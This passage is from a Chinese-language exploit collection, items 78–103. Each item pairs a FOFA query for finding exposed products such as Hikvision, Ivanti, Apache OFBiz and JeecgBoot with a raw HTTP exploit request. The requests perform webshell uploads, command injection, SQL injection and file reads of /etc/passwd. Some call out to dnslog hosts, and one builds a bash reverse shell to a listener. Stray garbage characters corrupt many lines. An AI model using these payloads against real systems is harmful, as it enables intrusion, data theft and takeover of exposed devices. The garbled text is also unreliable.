) Q8 }) A8 W$ B6 |# i! kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
, Z- c" e# Y7 n+ M1 Y9 M
------------398jnjVTTlDVXHlE7yYnfwBoix
+ ?. W2 Q0 l5 ]8 MContent-Disposition: form-data; name="folder"

+ y7 Z8 {0 N0 ]$ p1 s3 J/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
0 q2 H1 c: k" `Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
; u3 ]% e5 n0 _5 e' pContent-Type: application/octet-stream
' q& ^$ R5 z. e9 t! n
hello1234567
. H9 n4 p" [8 \* ]+ K/ \6 v1 u2 r9 c4 t------------398jnjVTTlDVXHlE7yYnfwBoix
! V7 a. k7 ?8 v! _% p7 y7 GContent-Disposition: form-data; name="Upload"

Submit Query
2 k6 b% z. U( ]. d8 `, d- H------------398jnjVTTlDVXHlE7yYnfwBoix--


78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
* z  Y# Q: O/ P/ }, f" [) IFOFA：icon_hash="2001627082"
6 F7 b5 n+ Y; {! O, o: w4 rPOST /Platform/System/FileUpload.ashx HTTP/1.1
" R5 ?$ d/ b0 k3 V# u+ T) PHost: x.x.x.x
. t7 m- a; P2 WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
* Q5 K& Q9 \9 x* LContent-Length: 336
9 z# y% A3 c7 x* |Accept-Encoding: gzip
. J' n8 o$ u7 Q3 }! D4 uContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

3 G2 M7 E/ G( C  D# |2 \6 I1 R# [: o------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
% ~# J6 B2 o. z* l
YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
! L$ q. Y( o* T5 x0 |Content-Disposition: form-data; name="target"

- y$ k* A) M( ^) Y% U6 z) L4 ~2 Z* L* z/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

9 ~  x- n1 c' T; L0 a
5 k$ V" ^/ z8 r# Q1 i. S! L4 tGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
6 z3 w; R; W& o3 O5 P2 T6 fHost: x.x.x.x

; S3 g5 n7 Q: j/ q& n
79. BYTEVALUE 百为流控路由器远程命令执行
6 P8 q& x. |6 ~2 g, EFOFA：BYTEVALUE 智能流控路由器
6 o0 G) c: J4 q; u  sGET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
- O' K: B& }; G. h* E) S: sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# v8 T9 P; D1 v4 DAccept-Encoding: gzip, deflate
8 X8 ]! O( t) q8 xConnection: close
Upgrade-Insecure-Requests: 1

, K8 E! B) F5 u2 E% \: C
9 u0 p" w; d7 N" w0 e) J0 N+ c80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
" i: q: W; ?, L" e9 |4 U0 c8 ~) G" uPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
: S$ u) [4 ]" iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* @+ U4 i1 E& V$ Q0 e/ Z# [) y1 nContent-Length: 27
3 k: j3 ?/ ~/ [5 n/ }- WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
1 `3 w6 P( C8 _* s8 kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
) C$ V$ f- ?! j$ a% Z6 X0 ZContent-Type: application/octet-stream
' Y; P2 r% h3 L0 S: V  UUpgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>


GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* A( U' P+ R+ h9 G/ y8 S1 b! W- NConnection: close
Accept-Encoding: gzip
/ l- p' i9 O; m3 z

81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
! E% S7 m' h$ L/ }. [. x1 lGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. X! @; l- B1 iConnection: close
Accept-Encoding: gzip

$ m( t) W8 v; f. D
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
4 X, B7 {* X- J8 b9 p& HHost: BaseURL
# F: y+ N' T" Z) H8 s, _User-Agent: Go-http-client/1.1
* C4 M5 k; V# L' OContent-Length: 23
Accept-Encoding: gzip
: W+ f% c; C. }+ c4 kConnection: close
/ u8 E, ?- q5 ?/ l4 i/ lContent-Type: application/x-www-form-urlencoded
) l' J- h* J6 H1 ?& I( u6 kReferer: BaseURL
9 |% C! K; _/ d$ \- s  I
1 \4 f9 Z2 x# w- T) Nz1=1&z2="|id;"&z3=bhost


3 Q2 k: s: F9 Z83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
1 K3 P: ]. I5 G+ q! _

POST /jmreport/testConnection HTTP/1.1
* o6 y5 M! h& @: i% ~! v" u. {. E9 j) QHost: x.x.x.x
# B. x+ C+ u0 pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
% e% f) s. }2 l! T7 m# y( p! cContent-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
8 \) i( M- \/ U; |$ ~Content-Type: application/json
1 y6 b/ s# |7 p
PAYLOAD

! Z5 c4 q) e+ `& ?84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
9 V" d4 c' t4 J5 _3 n
) y0 m- z: V# M3 Y7 o" {5 K/ s* M
1 w, c+ g' r) P! W
( B' u* s0 v6 ~6 V8 a( x; QPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
& R4 Y4 }/ J& @) k- nHost: 192.168.40.130:8080
- S9 }" b% o/ D( I8 V% dUser-Agent: curl/7.88.1
Content-Length: 156
- W. g$ d+ M" I- u) P/ K8 _# bAccept: */*
Connection: close
  I7 u; ~- N! o$ y. b7 l& D3 m- uContent-Type: application/json
1 v$ b! y1 [# d+ uAccept-Encoding: gzip
' F5 s1 ^4 o- U$ V$ }) D
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
5 o& J( F$ j4 T, E$ T( r* A; x  "type": "0"
}

4 m) g, l" D/ P$ C: s5 H
85. SysAid On-premise< 23.3.36远程代码执行
0 w  C; j3 l) Z6 [  H; S1 ECVE-2023-47246
$ e, |1 x1 T# ~FOFA：body="sysaid-logo-dark-green.png"
9 F* t& ^" J3 i2 Z! _EXP数据包如下，注入哥斯拉马
1 U9 V9 ]) _$ H  B; EPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
  o/ m1 j! p# m2 E( \; VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 c. K0 f. [! T, ~" dContent-Type: application/octet-stream
9 h( c2 h8 I8 N- ]7 \Accept-Encoding: gzip

PAYLOAD

' i$ l& v1 j6 x) P+ Q6 L. b回显URL：http://x.x.x.x/userfiles/index.jsp
1 p7 Z1 a0 G4 Y! ?- c
86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
+ [1 d/ T$ Y3 }0 G- }1 ZPOST /cgi-bin/network_test.php HTTP/1.1
' F9 L( Z4 o7 B6 x& k- pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
7 Q. @2 M- ^, W; u# PConnection: close
Content-Length: 44
Accept: */*
; M+ ^6 {! a$ HAccept-Encoding: gzip
Accept-Language: en
7 u  b7 F) K7 U+ ]) \, ~8 }% g1 [Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping
) T4 r* |% a; U+ x* o$ Z. U

7 a% z/ I# N( b  k# |87. 安恒明御安全网关aaa_local_web_preview文件上传
1 w! H# Z! z7 K$ V" p/ EFOFA：title="明御安全网关"
( X/ X9 c4 S/ o0 K# U9 QPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
7 P  C! [% G4 m1 J! d5 lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* v8 ?- c3 ?! y+ @6 W' x- o" G, T* WConnection: close
Content-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
) n" l5 w  _: |/ D0 R) _
--qqobiandqgawlxodfiisporjwravxtvd
4 R! q6 p: J* H, A/ Z* [Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
5 m9 y( r# y  z& FContent-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--


% H( n. w7 I6 I$ p1 b1 A6 C& P9 Y7 s/jfhatuwe.php
3 f% F+ M0 `4 P! G) X& f' Y* X0 k
' z& |' v7 i- w  }5 {3 d88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
. r2 C( }1 G: X! P. kFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
# g" Y* D7 N3 r- ~. OHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ T( Y/ i% X# V( N9 M$ `Accept-Encoding: gzip, deflate
+ D7 L. v, V, q8 l5 bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* S# c9 M4 b0 J- g" Y7 eConnection: close
# E$ K6 i( V5 {2 U* p& U4 }

/astdfkhl.php

9 T% H( L3 \- {8 A2 q9 v* V7 t( u89. 致远互联FE协作办公平台editflow_manager存在sql注入
2 ^$ Z+ Z) B3 {" _FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
% v4 e- m0 n- i0 i& y6 jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- H# v# T1 I) e9 l0 HConnection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
; x2 {' w- a; ]2 x' C& o$ LAccept-Encoding: gzip
' h2 q5 C2 z8 g( Y
option=2&GUID=-1'+union+select+111*222--+

( A& h/ r  r" x7 T0 v7 K1 B% u
: I& B5 J4 H5 R; e3 ?4 B9 C90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
( L. {( r9 S( y4 yFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
& j/ {' W8 b( G: g4 @0 W( i' u& wHost: x.x.x.x
9 L5 v% E' K: F5 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
" b: e4 }) {% \8 W( qAccept: application/json, text/javascript, */*; q=0.01
6 }% K; u! ^) v6 Q! sAccept-Encoding: gzip, deflate
" f3 ]) _9 ?: @/ C4 Z. }& EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
8 b) e. A" l7 e7 |; _6 BContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
# K7 i0 z! O$ e- D( W6 Y- `
/ s+ i4 e7 f* k4 ?. f5 Y6 L, t7 tjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
, E& D! f9 T9 `4 s
, |/ T0 L7 l+ t+ M
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
! z- n, y$ R* i/ z) C  EFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
# I, J- T5 W' J0 S' g+ B5 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
+ m( S. i. V- Q% V3 p6 Z8 t$ w) _& F/ @Connection: keep-alive
" {7 I0 @+ e. ^3 v


* O6 q& l( L( P# |92. 海康威视运行管理中心session命令执行
+ E4 }, F6 e  x' f* V1 ZFastjson命令执行
1 t" y8 ^/ Y& k$ c5 ohunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
2 L: \$ r: ?" o0 {: G4 r; ~: bHost:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
0 G: c4 K4 C! u4 ]/ a' S3 o( _- |X-Requested-With: XMLHttpRequest
3 H( G% C& _  z% H0 q4 V0 |Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
  C5 T7 R" K) H& L( m0 d% c, h+ wTestcmd: echo test
6 v/ w, I* n' S& f$ W6 C+ iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
+ q5 R5 d4 H7 U" Y" }- \, Q! _$ }Accept-Language: zh-CN,zh;q=0.9
+ a, X  G& V  c3 Q1 sContent-Length: 5778

) I- u! \5 A) C' HPAYLOAD

+ c. p2 b- p) S3 F* C( `
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
* L/ a3 h& h) s! v/ e% BFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
6 f0 o* T" t; C6 {POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
8 a# i) ?. a% H9 DUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
" R; I8 ?# ~' V& t" B' U" B) p
( q0 g/ D$ B' F" C% J: h& p------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
1 G4 m% A* p+ S% A! V4 O& K
; ~2 W& N, ?! {# B) x2 z2 g% l3 C: ~10000000
; M3 [2 V  l. {& l0 v: p7 j------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
  C2 p7 v! C( E2 c! D6 @. F------WebKitFormBoundarykcbkgdfx
" ?* g2 l( a5 ?! x' F- c6 aContent-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarykcbkgdfx
; V+ @9 g4 W! q) XContent-Disposition: form-data; name="__hash__"

/ u+ ^' H! Z- H9 z( _0b9d6b1ab7479ab69d9f71b05e0e9445
8 X' @, H: H) y9 c( T------WebKitFormBoundarykcbkgdfx--
% R) v' n# c% t; k% D
& D2 c+ }5 P. p
* m5 q" L& `" W0 @* }. r' VGET /attachements/xlskxknxa.txt HTTP/1.1
* W; w- w0 Z6 H0 Z, bHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
) N; c. O0 l  ~& B. _$ JHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
8 |8 p$ R0 f* k$ t+ O9 J1 ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
+ q. Z' Z, F4 o& H
------WebKitFormBoundarybqvzqvmt
  I7 n5 w3 }1 e' N$ XContent-Disposition: form-data; name="MAX_FILE_SIZE"
% g! r- H4 t/ N* j, K, b) i
10000000
1 {8 n9 }: I. Z  G0 d" _------WebKitFormBoundarybqvzqvmt
- K7 T6 R+ l& T  J6 g; yContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
" g/ i8 y) z3 s5 I9 hContent-Type: text/plain

( q9 T) s0 }% E2 z7 Zpxplitttsrjnyoafavcajwkvhxindhmu
4 n9 I4 V- p7 z------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
; e! B$ Y+ W$ w) s6 f3 C- K+ Q" L
2 z1 B0 g. i  b) iobj_app_upfile
------WebKitFormBoundarybqvzqvmt
8 C; w0 D* V7 ]7 e* B2 [Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--


1 e8 P5 ~1 O+ S5 n8 {3 J
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
# B1 x1 c  r3 ^, aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& ^3 I, u) l$ N


95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
+ s; ^  M2 g% S- xPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
: G  G, H4 n( gHost: x.x.x.x
' |; n+ K! [# ~# W. [3 m( EUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
( u+ D; f4 N, T* h; M% fConnection: close
: i7 m* r+ E1 `' r; _Content-Length: 889
Content-Type: application/xml
! ]2 b( Q" b* @# p, w  f& CAccept-Encoding: gzip
4 M8 S3 m9 k& `( R4 k6 L
<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
      <value>
* M$ W1 i7 S# \( S7 m        <struct>
       <member>
5 l0 Y! l9 ~0 o* Q          <name>test</name>
          <value>
$ o" m2 Y, t/ A$ q8 [      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
5 O! {8 I0 L/ f          </value>
        </member>
      </struct>
. S( S) b3 h) s/ p4 i      </value>
: K) {' t5 D- N; C' W2 m    </param>
1 H$ {5 J. I4 w- o8 s; B$ Z; w8 I    </params>
) D0 H4 Z3 f$ h# w</methodCall>

1 v6 f6 k5 z8 Q) V1 U$ p
/ v, W# {$ h5 n/ v, J' ~用ysoserial生成payload
5 v- @8 P1 ~% C3 |( q, u# ijava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


9 D+ E% }# {" X: K. E2 y将生成的payload替换到上面的POC
+ V( |7 o* ^# |6 l3 ?# R" xPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
( Z: |9 F$ w2 K  o8 Y' cConnection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

! P, b& t/ Y- q: N$ W- nPAYLOAD

% A3 \( m6 Y  O- P- `: Q0 Q96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
& {0 P5 W2 h: `) x/ E. R* `0 ^POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
2 n1 ]7 i- w) A, _Host: localhost:8443
) ^1 u( o0 ~3 o) z" uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
. D7 ?+ q' m" W' l5 V; z# EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

9 @, e0 k) u: h1 X/ T/ JgroovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
在kali上启动一个监听
- i9 h% s3 X& \2 onc -lvp 7777

% y8 T1 n. _5 v  q+ a, KPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
$ f- |3 v4 v. w- _( v: DHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
) c. @# j3 m$ x% n! k) bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ B3 j, `  V4 a( x8 U% v- ~" X: ^Content-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
8 c$ b' i9 n7 C  CFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
8 W% r& K# |$ I, l" l: VConnection: close
% S! x" Y: ~$ D! W. @Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


. Q- w( w' M" Y8 l$ r* a8 r98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
6 b! J: ]- I0 K, `8 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
9 c9 S: H% C  |3 ^5 ?) K: i: c; UContent-Length: 121
/ _# X% A/ `" m7 {8 ]Accept: */*
Accept-Encoding: gzip, deflate
5 n  L/ U% Z5 r# V9 QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, ~  h. b% U( d: pContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
( A8 {/ u8 H/ q, `6 M- r$ D
7 k% |$ N# C7 `1 k2 V
1 _9 f$ s" J4 v5 W/ m  i99. Ncast盈可视高清智能录播系统busiFacade RCE
% @9 o) b, ^. t' z% p& p/ F7 JCVE-2024-0305
9 A' k) B; G8 {8 m: nFOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
3 _2 x- D: Q2 r) rHost: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
6 C0 V, v6 g& M7 d; c2 _3 KAccept: */*
; P3 m% U, T2 V% cAccept-Encoding: gzip, deflate
; ~( m% d! G$ E4 C& n5 WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 ^3 D1 V9 H5 ^' l/ |! t' }Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
5 Y  w: t9 O' L# r
8 i% G: ]2 a; k%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


" g2 k" ?# `) g* }2 c3 J3 \" m& C# z100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
9 }" e$ Z; n& L; t; O9 fUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
6 _9 }/ t, W  fAccept-Encoding: gzip

' K3 l) D) u5 N8 F% m2 y6 x------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
+ C; ^, [. y  ?: `3 @7 R4 i% i3 V0 uContent-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
* C4 U7 i! o# \$ n, v( l% R* I------WebKitFormBoundarygcflwtei--

& b! _8 M3 I/ d6 {6 z7 G
101. ivanti policy secure-22.6命令注入
: @/ y' V' n! w5 W3 d5 U# ?+ pCVE-2024-21887
  X" L0 P( u$ Z7 S( }: cFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
1 k" L8 J+ X$ c- R' [Host: x.x.x.xx.x.x.x
* ^, G% R9 a4 m  B9 C1 VUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

" ~% n- |: M9 V! l. n
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
- O8 U" q3 {# |( Q2 xCVE-2024-21893
+ X9 M1 f. E( E0 i' kFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
  s3 _5 I: y, H. Q' S7 v5 L- ~Host: x.x.x.x
. G& A1 n2 S+ D: L! {% g+ CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
7 o: x9 F( A' M" EContent-Length: 792
+ W. ~6 e$ D( B* IAccept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
: ]( E  S1 W' ?
" t2 J5 I4 i) w3 Y0 R$ n103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
